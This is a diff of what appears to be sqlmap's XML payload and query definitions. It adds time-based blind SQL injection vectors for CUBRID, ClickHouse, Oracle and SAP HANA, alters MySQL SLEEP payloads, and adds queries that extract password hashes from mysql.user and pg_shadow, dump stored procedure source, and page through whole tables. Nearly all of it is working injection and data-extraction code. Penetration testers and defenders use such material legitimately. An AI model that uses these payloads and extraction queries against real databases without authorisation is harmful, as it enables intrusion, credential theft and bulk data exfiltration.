<payload>AND ELT([RANDNUM]=[RANDNUM],SLEEP([SLEEPTIME]))</payload>
|
||||
<payload>AND ELT([RANDNUM]=[RANDNUM],!SLEEP([SLEEPTIME]))</payload>
|
||||
<comment>#</comment>
|
||||
</request>
|
||||
<response>
|
||||
@@ -480,9 +480,9 @@
|
||||
<risk>3</risk>
|
||||
<clause>1,2,3,9</clause>
|
||||
<where>1</where>
|
||||
<vector>OR ELT([INFERENCE],SLEEP([SLEEPTIME]))</vector>
|
||||
<vector>OR ELT([INFERENCE],!SLEEP([SLEEPTIME]))</vector>
|
||||
<request>
|
||||
<payload>OR ELT([RANDNUM]=[RANDNUM],SLEEP([SLEEPTIME]))</payload>
|
||||
<payload>OR ELT([RANDNUM]=[RANDNUM],!SLEEP([SLEEPTIME]))</payload>
|
||||
<comment>#</comment>
|
||||
</request>
|
||||
<response>
|
||||
@@ -1092,6 +1092,45 @@
|
||||
</details>
|
||||
</test>
|
||||
|
||||
<test>
|
||||
<title>CUBRID AND time-based blind (SLEEP)</title>
|
||||
<stype>5</stype>
|
||||
<level>1</level>
|
||||
<risk>1</risk>
|
||||
<clause>1,2,3,8,9</clause>
|
||||
<where>1</where>
|
||||
<!-- db_root (Cubrid-only catalog) anchors SLEEP so it fires only on Cubrid, not on MySQL which also has SLEEP -->
|
||||
<vector>AND [RANDNUM]=(SELECT IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM]) FROM db_root)</vector>
|
||||
<request>
|
||||
<payload>AND [RANDNUM]=(SELECT SLEEP([SLEEPTIME]) FROM db_root)</payload>
|
||||
</request>
|
||||
<response>
|
||||
<time>[SLEEPTIME]</time>
|
||||
</response>
|
||||
<details>
|
||||
<dbms>Cubrid</dbms>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
<test>
|
||||
<title>CUBRID OR time-based blind (SLEEP)</title>
|
||||
<stype>5</stype>
|
||||
<level>1</level>
|
||||
<risk>1</risk>
|
||||
<clause>1,2,3,9</clause>
|
||||
<where>1</where>
|
||||
<vector>OR [RANDNUM]=(SELECT IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM]) FROM db_root)</vector>
|
||||
<request>
|
||||
<payload>OR [RANDNUM]=(SELECT SLEEP([SLEEPTIME]) FROM db_root)</payload>
|
||||
</request>
|
||||
<response>
|
||||
<time>[SLEEPTIME]</time>
|
||||
</response>
|
||||
<details>
|
||||
<dbms>Cubrid</dbms>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
<test>
|
||||
<title>Firebird >= 2.0 AND time-based blind (heavy query)</title>
|
||||
<stype>5</stype>
|
||||
@@ -1494,6 +1533,44 @@
|
||||
</details>
|
||||
</test>
|
||||
|
||||
<test>
|
||||
<title>ClickHouse AND time-based blind (sleepEachRow)</title>
|
||||
<stype>5</stype>
|
||||
<level>4</level>
|
||||
<risk>1</risk>
|
||||
<clause>1,2,3</clause>
|
||||
<where>1</where>
|
||||
<vector>AND [RANDNUM]=(SELECT count() FROM numbers([SLEEPTIME]) WHERE sleepEachRow(if(([INFERENCE]),1,0))=0 SETTINGS max_block_size=1)</vector>
|
||||
<request>
|
||||
<payload>AND [RANDNUM]=(SELECT count() FROM numbers([SLEEPTIME]) WHERE sleepEachRow(1)=0 SETTINGS max_block_size=1)</payload>
|
||||
</request>
|
||||
<response>
|
||||
<time>[SLEEPTIME]</time>
|
||||
</response>
|
||||
<details>
|
||||
<dbms>ClickHouse</dbms>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
<test>
|
||||
<title>ClickHouse OR time-based blind (sleepEachRow)</title>
|
||||
<stype>5</stype>
|
||||
<level>5</level>
|
||||
<risk>3</risk>
|
||||
<clause>1,2,3</clause>
|
||||
<where>2</where>
|
||||
<vector>OR [RANDNUM]=(SELECT count() FROM numbers([SLEEPTIME]) WHERE sleepEachRow(if(([INFERENCE]),1,0))=0 SETTINGS max_block_size=1)</vector>
|
||||
<request>
|
||||
<payload>OR [RANDNUM]=(SELECT count() FROM numbers([SLEEPTIME]) WHERE sleepEachRow(1)=0 SETTINGS max_block_size=1)</payload>
|
||||
</request>
|
||||
<response>
|
||||
<time>[SLEEPTIME]</time>
|
||||
</response>
|
||||
<details>
|
||||
<dbms>ClickHouse</dbms>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
<test>
|
||||
<title>ClickHouse AND time-based blind (heavy query)</title>
|
||||
<stype>5</stype>
|
||||
@@ -1586,9 +1663,9 @@
|
||||
<risk>1</risk>
|
||||
<clause>1,2,3,9</clause>
|
||||
<where>3</where>
|
||||
<vector>(CASE WHEN ([INFERENCE]) THEN SLEEP([SLEEPTIME]) ELSE [RANDNUM] END)</vector>
|
||||
<vector>(CASE WHEN ([INFERENCE]) THEN !SLEEP([SLEEPTIME]) ELSE [RANDNUM] END)</vector>
|
||||
<request>
|
||||
<payload>(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN SLEEP([SLEEPTIME]) ELSE [RANDNUM] END)</payload>
|
||||
<payload>(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN !SLEEP([SLEEPTIME]) ELSE [RANDNUM] END)</payload>
|
||||
</request>
|
||||
<response>
|
||||
<time>[SLEEPTIME]</time>
|
||||
@@ -1606,9 +1683,9 @@
|
||||
<risk>1</risk>
|
||||
<clause>1,2,3,9</clause>
|
||||
<where>3</where>
|
||||
<vector>(SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])</vector>
|
||||
<vector>(SELECT [RANDNUM] FROM (SELECT(!SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])</vector>
|
||||
<request>
|
||||
<payload>(SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR])</payload>
|
||||
<payload>(SELECT [RANDNUM] FROM (SELECT(!SLEEP([SLEEPTIME])))[RANDSTR])</payload>
|
||||
</request>
|
||||
<response>
|
||||
<time>[SLEEPTIME]</time>
|
||||
@@ -1626,9 +1703,9 @@
|
||||
<risk>2</risk>
|
||||
<clause>1,2,3,9</clause>
|
||||
<where>3</where>
|
||||
<vector>(CASE WHEN ([INFERENCE]) THEN (SELECT BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]'))) ELSE [RANDNUM])</vector>
|
||||
<vector>(CASE WHEN ([INFERENCE]) THEN (SELECT BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]'))) ELSE [RANDNUM] END)</vector>
|
||||
<request>
|
||||
<payload>(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN (SELECT BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]'))) ELSE [RANDNUM])</payload>
|
||||
<payload>(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN (SELECT BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]'))) ELSE [RANDNUM] END)</payload>
|
||||
</request>
|
||||
<response>
|
||||
<time>[DELAYED]</time>
|
||||
@@ -1666,9 +1743,9 @@
|
||||
<risk>1</risk>
|
||||
<clause>1,2,3,9</clause>
|
||||
<where>3</where>
|
||||
<vector>([INFERENCE] AND SLEEP([SLEEPTIME]))</vector>
|
||||
<vector>([INFERENCE] AND !SLEEP([SLEEPTIME]))</vector>
|
||||
<request>
|
||||
<payload>([RANDNUM]=[RANDNUM] AND SLEEP([SLEEPTIME]))</payload>
|
||||
<payload>([RANDNUM]=[RANDNUM] AND !SLEEP([SLEEPTIME]))</payload>
|
||||
</request>
|
||||
<response>
|
||||
<time>[SLEEPTIME]</time>
|
||||
@@ -1685,9 +1762,9 @@
|
||||
<risk>1</risk>
|
||||
<clause>1,2,3,9</clause>
|
||||
<where>3</where>
|
||||
<vector>ELT([INFERENCE],SLEEP([SLEEPTIME]))</vector>
|
||||
<vector>ELT([INFERENCE],!SLEEP([SLEEPTIME]))</vector>
|
||||
<request>
|
||||
<payload>ELT([RANDNUM]=[RANDNUM],SLEEP([SLEEPTIME]))</payload>
|
||||
<payload>ELT([RANDNUM]=[RANDNUM],!SLEEP([SLEEPTIME]))</payload>
|
||||
</request>
|
||||
<response>
|
||||
<time>[SLEEPTIME]</time>
|
||||
@@ -1704,9 +1781,9 @@
|
||||
<risk>1</risk>
|
||||
<clause>1,2,3,9</clause>
|
||||
<where>3</where>
|
||||
<vector>MAKE_SET([INFERENCE],SLEEP([SLEEPTIME]))</vector>
|
||||
<vector>MAKE_SET([INFERENCE],!SLEEP([SLEEPTIME]))</vector>
|
||||
<request>
|
||||
<payload>MAKE_SET([RANDNUM]=[RANDNUM],SLEEP([SLEEPTIME]))</payload>
|
||||
<payload>MAKE_SET([RANDNUM]=[RANDNUM],!SLEEP([SLEEPTIME]))</payload>
|
||||
</request>
|
||||
<response>
|
||||
<time>[SLEEPTIME]</time>
|
||||
@@ -1776,6 +1853,26 @@
|
||||
</test>
|
||||
|
||||
<!-- Without parentesis because it never works with them, useful to exploit SQL injection in Oracle E-Business Suite Financials -->
|
||||
<!-- DBMS_SESSION.SLEEP is granted to PUBLIC on Oracle 18c+ (unlike DBMS_LOCK.SLEEP, which needs an explicit grant); tried first so modern targets get a no-privilege delay, falling back to DBMS_LOCK.SLEEP on older releases -->
|
||||
<test>
|
||||
<title>Oracle time-based blind - Parameter replace (DBMS_SESSION.SLEEP)</title>
|
||||
<stype>5</stype>
|
||||
<level>3</level>
|
||||
<risk>1</risk>
|
||||
<clause>1,3,9</clause>
|
||||
<where>3</where>
|
||||
<vector>BEGIN IF ([INFERENCE]) THEN DBMS_SESSION.SLEEP([SLEEPTIME]); ELSE DBMS_SESSION.SLEEP(0); END IF; END;</vector>
|
||||
<request>
|
||||
<payload>BEGIN IF ([RANDNUM]=[RANDNUM]) THEN DBMS_SESSION.SLEEP([SLEEPTIME]); ELSE DBMS_SESSION.SLEEP(0); END IF; END;</payload>
|
||||
</request>
|
||||
<response>
|
||||
<time>[SLEEPTIME]</time>
|
||||
</response>
|
||||
<details>
|
||||
<dbms>Oracle</dbms>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
<test>
|
||||
<title>Oracle time-based blind - Parameter replace (DBMS_LOCK.SLEEP)</title>
|
||||
<stype>5</stype>
|
||||
@@ -1980,9 +2077,9 @@
|
||||
<risk>1</risk>
|
||||
<clause>2,3</clause>
|
||||
<where>1</where>
|
||||
<vector>,(SELECT (CASE WHEN ([INFERENCE]) THEN SLEEP([SLEEPTIME]) ELSE [RANDNUM] END))</vector>
|
||||
<vector>,(SELECT (CASE WHEN ([INFERENCE]) THEN !SLEEP([SLEEPTIME]) ELSE [RANDNUM] END))</vector>
|
||||
<request>
|
||||
<payload>,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN SLEEP([SLEEPTIME]) ELSE [RANDNUM] END))</payload>
|
||||
<payload>,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN !SLEEP([SLEEPTIME]) ELSE [RANDNUM] END))</payload>
|
||||
</request>
|
||||
<response>
|
||||
<time>[SLEEPTIME]</time>
|
||||
@@ -2072,6 +2169,25 @@
|
||||
</details>
|
||||
</test>
|
||||
|
||||
<test>
|
||||
<title>Oracle time-based blind - ORDER BY, GROUP BY clause (DBMS_SESSION.SLEEP)</title>
|
||||
<stype>5</stype>
|
||||
<level>3</level>
|
||||
<risk>1</risk>
|
||||
<clause>2,3</clause>
|
||||
<where>1</where>
|
||||
<vector>,(BEGIN IF ([INFERENCE]) THEN DBMS_SESSION.SLEEP([SLEEPTIME]); ELSE DBMS_SESSION.SLEEP(0); END IF; END;)</vector>
|
||||
<request>
|
||||
<payload>,(BEGIN IF ([RANDNUM]=[RANDNUM]) THEN DBMS_SESSION.SLEEP([SLEEPTIME]); ELSE DBMS_SESSION.SLEEP(0); END IF; END;)</payload>
|
||||
</request>
|
||||
<response>
|
||||
<time>[SLEEPTIME]</time>
|
||||
</response>
|
||||
<details>
|
||||
<dbms>Oracle</dbms>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
<test>
|
||||
<title>Oracle time-based blind - ORDER BY, GROUP BY clause (DBMS_LOCK.SLEEP)</title>
|
||||
<stype>5</stype>
|
||||
@@ -2170,5 +2286,82 @@
|
||||
</details>
|
||||
</test>
|
||||
|
||||
<test>
|
||||
<title>SAP HANA AND time-based blind (heavy query)</title>
|
||||
<stype>5</stype>
|
||||
<level>3</level>
|
||||
<risk>2</risk>
|
||||
<clause>1,2,3,9</clause>
|
||||
<where>1</where>
|
||||
<vector>AND [RANDNUM]=(SELECT COUNT(*) FROM SYS.OBJECTS AS T1,SYS.OBJECTS AS T2,SYS.OBJECTS AS T3 WHERE LOWER(T1.OBJECT_NAME)!=UPPER(T2.OBJECT_NAME) AND ([INFERENCE]))</vector>
|
||||
<request>
|
||||
<payload>AND [RANDNUM]=(SELECT COUNT(*) FROM SYS.OBJECTS AS T1,SYS.OBJECTS AS T2,SYS.OBJECTS AS T3 WHERE LOWER(T1.OBJECT_NAME)!=UPPER(T2.OBJECT_NAME))</payload>
|
||||
</request>
|
||||
<response>
|
||||
<time>[DELAYED]</time>
|
||||
</response>
|
||||
<details>
|
||||
<dbms>SAP HANA</dbms>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
<test>
|
||||
<title>SAP HANA OR time-based blind (heavy query)</title>
|
||||
<stype>5</stype>
|
||||
<level>3</level>
|
||||
<risk>3</risk>
|
||||
<clause>1,2,3,9</clause>
|
||||
<where>1</where>
|
||||
<vector>OR [RANDNUM]=(SELECT COUNT(*) FROM SYS.OBJECTS AS T1,SYS.OBJECTS AS T2,SYS.OBJECTS AS T3 WHERE LOWER(T1.OBJECT_NAME)!=UPPER(T2.OBJECT_NAME) AND ([INFERENCE]))</vector>
|
||||
<request>
|
||||
<payload>OR [RANDNUM]=(SELECT COUNT(*) FROM SYS.OBJECTS AS T1,SYS.OBJECTS AS T2,SYS.OBJECTS AS T3 WHERE LOWER(T1.OBJECT_NAME)!=UPPER(T2.OBJECT_NAME))</payload>
|
||||
</request>
|
||||
<response>
|
||||
<time>[DELAYED]</time>
|
||||
</response>
|
||||
<details>
|
||||
<dbms>SAP HANA</dbms>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
<test>
|
||||
<title>SAP HANA AND time-based blind (heavy query - comment)</title>
|
||||
<stype>5</stype>
|
||||
<level>5</level>
|
||||
<risk>2</risk>
|
||||
<clause>1,2,3,9</clause>
|
||||
<where>1</where>
|
||||
<vector>AND [RANDNUM]=(SELECT COUNT(*) FROM SYS.OBJECTS AS T1,SYS.OBJECTS AS T2,SYS.OBJECTS AS T3 WHERE LOWER(T1.OBJECT_NAME)!=UPPER(T2.OBJECT_NAME) AND ([INFERENCE]))</vector>
|
||||
<request>
|
||||
<payload>AND [RANDNUM]=(SELECT COUNT(*) FROM SYS.OBJECTS AS T1,SYS.OBJECTS AS T2,SYS.OBJECTS AS T3 WHERE LOWER(T1.OBJECT_NAME)!=UPPER(T2.OBJECT_NAME))</payload>
|
||||
<comment>--</comment>
|
||||
</request>
|
||||
<response>
|
||||
<time>[DELAYED]</time>
|
||||
</response>
|
||||
<details>
|
||||
<dbms>SAP HANA</dbms>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
<test>
|
||||
<title>SAP HANA time-based blind - Parameter replace (heavy query)</title>
|
||||
<stype>5</stype>
|
||||
<level>5</level>
|
||||
<risk>2</risk>
|
||||
<clause>1,2,3,9</clause>
|
||||
<where>3</where>
|
||||
<vector>(SELECT COUNT(*) FROM SYS.OBJECTS AS T1,SYS.OBJECTS AS T2,SYS.OBJECTS AS T3 WHERE LOWER(T1.OBJECT_NAME)!=UPPER(T2.OBJECT_NAME) AND ([INFERENCE]))</vector>
|
||||
<request>
|
||||
<payload>(SELECT COUNT(*) FROM SYS.OBJECTS AS T1,SYS.OBJECTS AS T2,SYS.OBJECTS AS T3 WHERE LOWER(T1.OBJECT_NAME)!=UPPER(T2.OBJECT_NAME))</payload>
|
||||
</request>
|
||||
<response>
|
||||
<time>[DELAYED]</time>
|
||||
</response>
|
||||
<details>
|
||||
<dbms>SAP HANA</dbms>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
<!-- End of time-based boolean tests - ORDER BY, GROUP BY clause -->
|
||||
</root>
|
||||
|
||||
+172
-70
@@ -35,8 +35,8 @@
|
||||
<!-- https://github.com/dev-sec/mysql-baseline/issues/35 -->
|
||||
<!-- https://stackoverflow.com/a/31122246 -->
|
||||
<passwords>
|
||||
<inband query="SELECT user,authentication_string FROM mysql.user" condition="user"/>
|
||||
<blind query="SELECT DISTINCT(authentication_string) FROM mysql.user WHERE user='%s' LIMIT %d,1" count="SELECT COUNT(DISTINCT(authentication_string)) FROM mysql.user WHERE user='%s'"/>
|
||||
<inband query="SELECT user,IF(LEFT(authentication_string,3)=0x244124,CONCAT(0x246d7973716c,LEFT(authentication_string,6),0x2a,INSERT(HEX(SUBSTR(authentication_string,8)),41,0,0x2a)),authentication_string) FROM mysql.user" condition="user"/>
|
||||
<blind query="SELECT DISTINCT(IF(LEFT(authentication_string,3)=0x244124,CONCAT(0x246d7973716c,LEFT(authentication_string,6),0x2a,INSERT(HEX(SUBSTR(authentication_string,8)),41,0,0x2a)),authentication_string)) FROM mysql.user WHERE user='%s' LIMIT %d,1" count="SELECT COUNT(DISTINCT(authentication_string)) FROM mysql.user WHERE user='%s'"/>
|
||||
</passwords>
|
||||
<privileges>
|
||||
<inband query="SELECT grantee,privilege_type FROM INFORMATION_SCHEMA.USER_PRIVILEGES" condition="grantee" query2="SELECT user,select_priv,insert_priv,update_priv,delete_priv,create_priv,drop_priv,reload_priv,shutdown_priv,process_priv,file_priv,grant_priv,references_priv,index_priv,alter_priv,show_db_priv,super_priv,create_tmp_table_priv,lock_tables_priv,execute_priv,repl_slave_priv,repl_client_priv,create_view_priv,show_view_priv,create_routine_priv,alter_routine_priv,create_user_priv FROM mysql.user" condition2="user"/>
|
||||
@@ -47,6 +47,10 @@
|
||||
<inband query="SELECT INFO FROM INFORMATION_SCHEMA.PROCESSLIST" query2="SELECT INFO FROM DATA_DICTIONARY.PROCESSLIST"/>
|
||||
<blind query="SELECT INFO FROM INFORMATION_SCHEMA.PROCESSLIST ORDER BY ID LIMIT %d,1" query2="SELECT INFO FROM INFORMATION_SCHEMA.PROCESSLIST WHERE ID=%d" query3="SELECT ID FROM INFORMATION_SCHEMA.PROCESSLIST LIMIT %d,1" count="SELECT COUNT(DISTINCT(INFO)) FROM INFORMATION_SCHEMA.PROCESSLIST"/>
|
||||
</statements>
|
||||
<procedures>
|
||||
<inband query="SELECT CONCAT(ROUTINE_NAME,' [',ROUTINE_TYPE,'] ',IFNULL(ROUTINE_DEFINITION,'')) FROM INFORMATION_SCHEMA.ROUTINES WHERE ROUTINE_SCHEMA NOT IN ('mysql','sys','information_schema','performance_schema')"/>
|
||||
<blind query="SELECT CONCAT(ROUTINE_NAME,' [',ROUTINE_TYPE,'] ',IFNULL(ROUTINE_DEFINITION,'')) FROM INFORMATION_SCHEMA.ROUTINES WHERE ROUTINE_SCHEMA NOT IN ('mysql','sys','information_schema','performance_schema') ORDER BY ROUTINE_SCHEMA,ROUTINE_NAME LIMIT %d,1" count="SELECT COUNT(*) FROM INFORMATION_SCHEMA.ROUTINES WHERE ROUTINE_SCHEMA NOT IN ('mysql','sys','information_schema','performance_schema')"/>
|
||||
</procedures>
|
||||
<dbs>
|
||||
<inband query="SELECT schema_name FROM INFORMATION_SCHEMA.SCHEMATA" query2="SELECT db FROM mysql.db"/>
|
||||
<blind query="SELECT DISTINCT(schema_name) FROM INFORMATION_SCHEMA.SCHEMATA LIMIT %d,1" query2="SELECT DISTINCT(db) FROM mysql.db LIMIT %d,1" count="SELECT COUNT(DISTINCT(schema_name)) FROM INFORMATION_SCHEMA.SCHEMATA" count2="SELECT COUNT(DISTINCT(db)) FROM mysql.db"/>
|
||||
@@ -61,7 +65,8 @@
|
||||
</columns>
|
||||
<dump_table>
|
||||
<inband query="SELECT %s FROM %s.%s ORDER BY %s"/>
|
||||
<blind query="SELECT %s FROM %s.%s ORDER BY %s LIMIT %d,1" count="SELECT COUNT(*) FROM %s.%s"/>
|
||||
<blind query="SELECT %s FROM %s.%s ORDER BY %s LIMIT %d,1" count="SELECT COUNT(*) FROM %s.%s" keyset_first="SELECT MIN(%s) FROM %s" keyset_next="SELECT MIN(%s) FROM %s WHERE %s>'%s'" keyset_by="SELECT MAX(%s) FROM %s WHERE %s='%s'" keyset_seed="SELECT %s FROM %s ORDER BY %s LIMIT 1 OFFSET %d" keyset_ordered="SELECT %s FROM %s WHERE %s ORDER BY %s LIMIT 1" keyset_where="SELECT MAX(%s) FROM %s WHERE %s"/>
|
||||
<primary_key count="SELECT COUNT(*) FROM INFORMATION_SCHEMA.KEY_COLUMN_USAGE WHERE TABLE_SCHEMA='%s' AND TABLE_NAME='%s' AND CONSTRAINT_NAME='PRIMARY'" query="SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.KEY_COLUMN_USAGE WHERE TABLE_SCHEMA='%s' AND TABLE_NAME='%s' AND CONSTRAINT_NAME='PRIMARY' ORDER BY ORDINAL_POSITION LIMIT %d,1"/>
|
||||
</dump_table>
|
||||
<search_db>
|
||||
<inband query="SELECT schema_name FROM INFORMATION_SCHEMA.SCHEMATA WHERE %s" query2="SELECT db FROM mysql.db WHERE %s" condition="schema_name" condition2="db"/>
|
||||
@@ -78,7 +83,7 @@
|
||||
</dbms>
|
||||
|
||||
<dbms value="PostgreSQL">
|
||||
<cast query="CAST(%s AS VARCHAR(10000))"/>
|
||||
<cast query="CAST(%s AS TEXT)"/>
|
||||
<length query="LENGTH(%s)"/>
|
||||
<!-- NOTE: PostgreSQL does not like COALESCE with different data-types (e.g. COALESCE(id,' ')) -->
|
||||
<isnull query="COALESCE(%s::text,' ')"/>
|
||||
@@ -114,14 +119,18 @@
|
||||
<blind query="SELECT DISTINCT(passwd) FROM pg_shadow WHERE usename='%s' OFFSET %d LIMIT 1" count="SELECT COUNT(DISTINCT(passwd)) FROM pg_shadow WHERE usename='%s'"/>
|
||||
</passwords>
|
||||
<privileges>
|
||||
<inband query="SELECT usename,(CASE WHEN usecreatedb THEN 1 ELSE 0 END),(CASE WHEN usesuper THEN 1 ELSE 0 END),(CASE WHEN usecatupd THEN 1 ELSE 0 END) FROM pg_user" condition="usename"/>
|
||||
<blind query="SELECT (CASE WHEN usecreatedb THEN 1 ELSE 0 END),(CASE WHEN usesuper THEN 1 ELSE 0 END),(CASE WHEN usecatupd THEN 1 ELSE 0 END) FROM pg_user WHERE usename='%s' OFFSET %d LIMIT 1" count="SELECT COUNT(DISTINCT(usename)) FROM pg_user WHERE usename='%s'"/>
|
||||
<inband query="SELECT usename,(CASE WHEN usecreatedb THEN 1 ELSE 0 END),(CASE WHEN usesuper THEN 1 ELSE 0 END),(CASE WHEN userepl THEN 1 ELSE 0 END) FROM pg_user" condition="usename"/>
|
||||
<blind query="SELECT (CASE WHEN usecreatedb THEN 1 ELSE 0 END),(CASE WHEN usesuper THEN 1 ELSE 0 END),(CASE WHEN userepl THEN 1 ELSE 0 END) FROM pg_user WHERE usename='%s' OFFSET %d LIMIT 1" count="SELECT COUNT(DISTINCT(usename)) FROM pg_user WHERE usename='%s'"/>
|
||||
</privileges>
|
||||
<roles/>
|
||||
<statements>
|
||||
<inband query="SELECT query FROM pg_stat_activity WHERE query != '<IDLE>'"/>
|
||||
<blind query="SELECT DISTINCT(query) FROM pg_stat_activity WHERE query != '<IDLE>' OFFSET %d LIMIT 1" count="SELECT COUNT(DISTINCT(query)) FROM pg_stat_activity WHERE query != '<IDLE>'"/>
|
||||
</statements>
|
||||
<procedures>
|
||||
<inband query="SELECT n.nspname||'.'||p.proname||': '||p.prosrc FROM pg_proc p JOIN pg_namespace n ON p.pronamespace=n.oid WHERE n.nspname NOT IN ('pg_catalog','information_schema')"/>
|
||||
<blind query="SELECT n.nspname||'.'||p.proname||': '||p.prosrc FROM pg_proc p JOIN pg_namespace n ON p.pronamespace=n.oid WHERE n.nspname NOT IN ('pg_catalog','information_schema') ORDER BY n.nspname,p.proname OFFSET %d LIMIT 1" count="SELECT COUNT(*) FROM pg_proc p JOIN pg_namespace n ON p.pronamespace=n.oid WHERE n.nspname NOT IN ('pg_catalog','information_schema')"/>
|
||||
</procedures>
|
||||
<dbs>
|
||||
<inband query="SELECT DISTINCT(schemaname) FROM pg_tables"/>
|
||||
<blind query="SELECT DISTINCT(schemaname) FROM pg_tables ORDER BY schemaname OFFSET %d LIMIT 1" count="SELECT COUNT(DISTINCT(schemaname)) FROM pg_tables"/>
|
||||
@@ -136,7 +145,8 @@
|
||||
</columns>
|
||||
<dump_table>
|
||||
<inband query="SELECT %s FROM %s.%s ORDER BY %s"/>
|
||||
<blind query="SELECT %s FROM %s.%s ORDER BY %s OFFSET %d LIMIT 1" count="SELECT COUNT(*) FROM %s.%s"/>
|
||||
<blind query="SELECT %s FROM %s.%s ORDER BY %s OFFSET %d LIMIT 1" count="SELECT COUNT(*) FROM %s.%s" keyset_first="SELECT MIN(%s) FROM %s" keyset_next="SELECT MIN(%s) FROM %s WHERE %s>'%s'" keyset_by="SELECT MAX(%s) FROM %s WHERE %s='%s'" keyset_seed="SELECT %s FROM %s ORDER BY %s LIMIT 1 OFFSET %d" keyset_ordered="SELECT %s FROM %s WHERE %s ORDER BY %s LIMIT 1" keyset_where="SELECT MAX(%s) FROM %s WHERE %s"/>
|
||||
<primary_key count="SELECT COUNT(*) FROM information_schema.table_constraints tc JOIN information_schema.key_column_usage kcu ON tc.constraint_name=kcu.constraint_name AND tc.table_schema=kcu.table_schema WHERE tc.constraint_type='PRIMARY KEY' AND tc.table_schema='%s' AND tc.table_name='%s'" query="SELECT kcu.column_name FROM information_schema.table_constraints tc JOIN information_schema.key_column_usage kcu ON tc.constraint_name=kcu.constraint_name AND tc.table_schema=kcu.table_schema WHERE tc.constraint_type='PRIMARY KEY' AND tc.table_schema='%s' AND tc.table_name='%s' ORDER BY kcu.ordinal_position OFFSET %d LIMIT 1"/>
|
||||
</dump_table>
|
||||
<search_db>
|
||||
<inband query="SELECT schemaname FROM pg_tables WHERE %s" condition="schemaname"/>
|
||||
@@ -153,8 +163,8 @@
|
||||
</dbms>
|
||||
|
||||
<dbms value="Microsoft SQL Server">
|
||||
<cast query="CAST(%s AS NVARCHAR(4000))"/>
|
||||
<length query="LTRIM(STR(LEN(%s)))"/>
|
||||
<cast query="CAST(%s AS NVARCHAR(MAX))"/>
|
||||
<length query="LTRIM(STR(LEN(%s+'.')-1))"/>
|
||||
<isnull query="ISNULL(%s,' ')"/>
|
||||
<delimiter query="+"/>
|
||||
<limit query="SELECT TOP %d "/>
|
||||
@@ -193,6 +203,11 @@
|
||||
<inband query="SELECT st.text FROM sys.dm_exec_cached_plans cp CROSS APPLY sys.dm_exec_sql_text(cp.plan_handle) st"/>
|
||||
<blind query="SELECT TOP 1 a.text FROM sys.dm_exec_cached_plans cp CROSS APPLY sys.dm_exec_sql_text(cp.plan_handle) a WHERE a.text NOT IN (SELECT TOP %d b.text FROM sys.dm_exec_cached_plans cp CROSS APPLY sys.dm_exec_sql_text(cp.plan_handle) b ORDER BY b.text) ORDER BY a.text" count="SELECT LTRIM(STR(COUNT(st.text))) FROM sys.dm_exec_cached_plans cp CROSS APPLY sys.dm_exec_sql_text(cp.plan_handle) st"/>
|
||||
</statements>
|
||||
<!-- NOTE: o.type_desc carries SQL Server's fixed catalog-metadata collation (Latin1_General_CI_AS_KS_WS), which clashes with m.definition's database collation under '+' ("cannot resolve collation conflict"). Coercing the catalog string columns to DATABASE_DEFAULT makes the whole concat single-collation. o.name is usually already the database collation so its COLLATE is a no-op, but it is coerced too defensively, since catalog name-column collation can vary by version/config. -->
|
||||
<procedures>
|
||||
<inband query="SELECT o.name COLLATE DATABASE_DEFAULT+' ['+o.type_desc COLLATE DATABASE_DEFAULT+'] '+m.definition FROM sys.sql_modules m INNER JOIN sys.objects o ON m.object_id=o.object_id WHERE o.is_ms_shipped=0 AND o.type IN ('P','FN','IF','TF')"/>
|
||||
<blind query="SELECT o.name COLLATE DATABASE_DEFAULT+' ['+o.type_desc COLLATE DATABASE_DEFAULT+'] '+m.definition FROM sys.sql_modules m INNER JOIN sys.objects o ON m.object_id=o.object_id WHERE o.is_ms_shipped=0 AND o.type IN ('P','FN','IF','TF') ORDER BY o.name OFFSET %d ROWS FETCH NEXT 1 ROWS ONLY" count="SELECT LTRIM(STR(COUNT(*))) FROM sys.sql_modules m INNER JOIN sys.objects o ON m.object_id=o.object_id WHERE o.is_ms_shipped=0 AND o.type IN ('P','FN','IF','TF')"/>
|
||||
</procedures>
|
||||
<dbs>
|
||||
<inband query="SELECT name FROM master..sysdatabases" query2="SELECT DB_NAME(%d)"/>
|
||||
<blind query="SELECT TOP 1 name FROM master..sysdatabases WHERE name NOT IN (SELECT TOP %d name FROM master..sysdatabases ORDER BY name) ORDER BY name" count="SELECT LTRIM(STR(COUNT(name))) FROM master..sysdatabases"/>
|
||||
@@ -202,12 +217,13 @@
|
||||
